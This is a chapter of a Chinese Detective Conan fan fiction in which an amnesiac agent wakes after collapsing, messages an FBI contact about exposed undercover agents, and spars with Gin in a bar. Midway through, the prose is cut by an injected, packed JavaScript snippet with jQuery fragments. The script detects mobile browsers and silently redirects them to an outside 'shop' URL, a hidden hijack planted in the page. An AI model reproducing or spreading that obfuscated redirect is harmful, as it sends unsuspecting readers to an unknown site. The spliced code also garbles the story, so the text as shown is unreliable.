97.第 97 章

作品:《这个柯学世界真的没问题吗

    230


    精神力恢复至8%


    没人能在地板上睡了三天后不腰酸背痛。


    真的。


    意识缓缓上浮,视线逐渐聚焦在玄关房顶上的顶灯。


    记忆顺着光线渗透进———精神力耗尽,强撑着回到安全屋,倒下去的时候好像撞到了安置在玄关口的那瓶纸星星。


    竹取无尘眨眨眼,缓缓用手把身体撑起,环视了一圈昏暗的屋子。


    阳光从窗帘缝隙漏出,窗外风声大作,窗框被吹撞得发出摇晃的闷响。


    手上被玻璃割开的借口已经结痂,好几枚纸星星被染上血迹,玻璃碎片貌似被怪异地扫开了些许,或者———是用脚还是什么的拔拉到了一边?


    青年盯着那一地明显不符合正常碎裂范围的碎片,伸手揉了一下自己的后脑勺。


    他怎么觉得自己后脑勺有点痛呢?回来摔进屋子的时候摔到头了?


    不对啊,他摔也不可能仰面摔下去啊?那未免太不符合人体力学了。


    站起身,随意拍了拍衣服上沾着的灰尘,肩膀上那小半个鞋印着实有点明显。


    竹取无尘:…………


    得,黑泽阵那个疯子真来过,私闯民宅的那种来过。


    唉不对,这里好像就是黑泽阵的屋子来着?


    想到这里,青年轻咳了一声,把那种吃人嘴短的概念随意丢到了脑后。


    脖颈和腰部的酸痛实在是不容忽视,这一觉睡得比连着出三天外勤还累。


    下次一定再撑两步,起码往沙发上倒。


    想到晕倒前那一堆乱七八糟的事情,竹取无尘轻叹口气,踱步挪进厨房,随手把嘴角的血迹一擦,把一块白面包叼进嘴中,回到玄关,一点一点拾起那些无辜受累的星星。


    些许烟草燃烧的气味若隐若现钻进鼻腔。


    手中的动作一顿,叼着的白面包被三两口包进嘴里,嚼得人有点腮帮子发酸。


    手中的星星被捧起,重新在玄关的矮柜上堆成一小堆,玻璃碎片也被收拾干净,丢进了垃圾桶。


    竹取无尘坐回电脑前,确认了所有的情报资料都锁在柜中,没有被暴力撬锁的痕迹后才打开电脑,拿过一边的水杯抿了一口,稍稍润了下嗓子。


    什么牌子的面包,这也太干巴了。


    邮件通讯只有一条,来自那个意料之中的人。


    【邮件通讯】Gin:来2号据点。


    竹取无尘看着那份消息,把整理好的相关的情报消息直接发送给了对面。


    【邮件通讯】Prosecco:知道了^^发现了点好玩的东西,全部在附件里了,你先看着。


    退出邮件界面,青年若有所思地看向房间门口,这个角度看不见玄关处。


    一股怪异的违和感悄然浮起。


    电脑排气扇嗡鸣,手机传来邮件提醒,窗外的风应该把初夏里泛着油绿的叶吹得起伏作响。


    但是…


    视线慢慢挪回电脑桌上的玻璃杯,杯壁上有气泡在缓慢上浮。


    听不到了。


    竹取无尘蹙了下眉。


    那些长久以往的吵闹,字字句句的诘问,在那只纸星星被他交出去之后,就仿佛落进河流里,跟着风,消散融化,不见了。


    太安静了。


    安静得有点让人心慌。


    稍稍晃了下头,他靠向椅背,闭上眼睛,又睁开。


    窗外的风声更大了,邮件提醒再一次响起。


    青年回过神,看着赤井秀一发来的那几条信息,着手回复了邮件。


    算了。


    以后有机会再慢慢治吧。


    231


    【加密邮件通讯】


    C:你们FBI有两名卧底暴露了,详细名单在附件里,麻烦配合我假死转移,事后不要再次出现在组织的视野里。


    C:抱歉,这不是商量,赤井,这样对我们都好。


    A:方便见面吗?


    C:不太方便。


    A:窃听?监视?定位?


    C:差不多,生理信号检测,还带电击。


    A:他的癖好还真是一向令人叹为观止。


    C:变态是这样的(╥_╥)。


    C:假死撤离的事情?


    A:我会向上级报告,行动我会配合。


    C:好的。


    C:顺便,我想知道那个精神卫生中心的处理情况?


    A:明面上已经处理了,但是Banana fish的主要科研人员在逃,科西嘉财团提前收到了消息,所有的尾巴都被处理,我们只来得及端掉设备和公开的实验室。


    A:治标不治本,还需要进一步处理。


    C:我明白了。


    C:Grant Hale这个名字,在你们查获的信息里有相关的情报吗?


    A:Grant Hale?查获?


    A:这个名字,是我们FBI投入进这个组织内部的潜入搜查官的假名。


    A:你是怎么知道这个名字的。


    C:………???


    C:你说什么?


    竹取无尘的眉头明显蹙得更紧,目光扫过了那枚被他从高濑恒一手中抢过来的U盘。


    随手换了一件外套,把桌上那杯水一饮而尽,稍微驱散了些许昏迷和精神力尚未恢复所带来的疲惫和眩晕。


    那份诡异的空旷却比身体上的疲惫更让人觉得难受。


    而停留只会让那份泛着空的感觉愈发扩大。


    青年按了下太阳穴,也不再管自己是否才刚刚从昏迷中清醒,拿起车钥匙,走出门,驱车驶向约定好的地点。


    232


    【2号据点】


    推开门,门轴咯吱轻响,室内灯光昏白,没有那种夜晚酒吧的眩晕感。


    竹取无尘看着坐在屋内最里的那人———那个卡座貌似是对方偏爱的位置。


    “哦呀,”青年环视了一圈除了黑泽阵空无一人的酒吧,站在门口笑道,“这么清净?”


    黑泽阵没有回话,那只标志性的礼帽被放在一边,手支在卡座单人沙发的扶手上,随意地撑着头,银发落在膝上,绿瞳中是毫不遮掩的审视。


    早就习惯了对方的态度,竹取无尘耸耸肩,扫了一眼对面人面前放着只一只打火机而显得空荡的桌面后,径直走去了吧台,动作自然地拿过一瓶伏特加和两只玻璃杯。


    “我还真没想到你会这么关心我,还去安全屋确认我死没死。”


    青年拿着酒走来,玻璃杯被放在桌面,他微微俯身,酒液分别倒入杯中后,倒酒的人随手拿起其中一杯,卸力坐在了黑泽阵对面。


    “不管怎么说,黑泽,”竹取无尘弯了弯眉眼,顺势把桌上那杯酒往对方那边稍稍送了送,“谢了。”


    黑泽阵垂了下眼,看着对方自觉被送到面前的东西,轻嗤一声。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123575|184862||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “休息够了?”男人重新抬眸,他毫不意外对方能推测出他的行径路线,视线剐过竹取无尘脖颈上不作遮掩的颈环,再缓缓挪到对方的眼角———除了笑意,那里早已经什么都没有。


    “拖你的福,”青年浅啜了一口杯中的液体,伸手揉了揉后颈,“地板挺硬,睡得腰酸背痛。”


    黑泽阵没接这句带着抱怨的玩笑,整个人往沙发背上靠了些许,没有碰那杯酒,手搭在了交叠着的腿上,沉声道:“不解释一下?”


    “解释?”竹取无尘挑了下眉,“解释我晕倒的原因吗?”


    青年看着黑泽阵那副仿佛他在问废话的表情,面上的笑意带了些无奈:“…这让我怎么和你说呢…”


    他叹了口气,顺手把手中的玻璃杯放回桌面,同样向后靠去,拉远了点距离。


    “有些事情,我确实也没有办法和你解释,因为我也不清楚。”


    “不过不会影响任务,”竹取无尘补充,“发作前有征兆,我会自己找个地方躺着,你大可以放心。”


    “不影响任务?没法解释?”男人拿过桌上那杯酒水,在手中轻轻晃动,声线压得低了些,“一个能在过量镇静剂和高强度电击下保持清醒演戏的人,突然不清楚地晕倒三天?”


    他让伏特加注意着这人的生理检测信号和监听频段中的环境,直到今天,那边出现明显的响动,伏特加才给他发来报告。


    黑泽阵的身体微微前倾:“你觉得我会信?”


    青年唇角的笑意深了些:“大人,你不能总因为我经常骗人,你就什么都不信吧?”


    “我也是偶尔会说真话的。”


    黑泽阵盯着对面人那双仿佛坦诚的黑瞳:“比如?”


    “比如…”竹取无尘顺手拿起桌面上那只属于黑泽阵打火机,指尖下意识摩挲着金属轮廓边,“我其实记不得以前的很多东西,所以我没法和你解释。”


    他对上黑泽阵的视线:“我失忆过。”


    男人的绿瞳微眯一瞬,手中晃动着酒杯的动作顿了下,杯中的液体随着惯性晃动。


    他勾了下唇角:“终于承认了?”


    闻言,竹取无尘愣了一下,歪了歪头,失笑道:“你竟然发现了。”


    “什么时候的事情?我露出破绽了?”


    黑泽阵的目光再一次扫过竹取无尘脖颈上的东西,答案不言而喻。


    竹取无尘顺着对面的目光,指尖触向了自己脖颈间的颈环,思绪一下了然。


    “原来是这个。”


    他放下手,目光垂落向自己手中那只做工精美的打火机,思绪掉回那日夜里在车上的对话中。


    是那次。


    “看起来这东西我以前也戴过,”青年再次看向对面的人,调侃道,“你这爱好还真是……”


    “变态啊,大人。”


    意料之中的调侃,黑泽阵连眉头都不再动一下,只是短促地冷笑一声,食指轻点着手中的酒杯。


    “对于不听话的东西,”男人看向手中不再晃动的酒水,话语却令有指向,“自然需要一些量身定做的手段。”


    烈酒入口,杯中的液体被一饮而尽,玻璃杯被重新放回桌面。


    “哇——”竹取无尘笑眯着眼,“真是令人伤心的评价,黑泽阵。”


    “我可是尽心尽力帮你弄死了不少人,你那个名单我都快杀干净了,外面都把我们传成什么样子了,你就这么评价我?”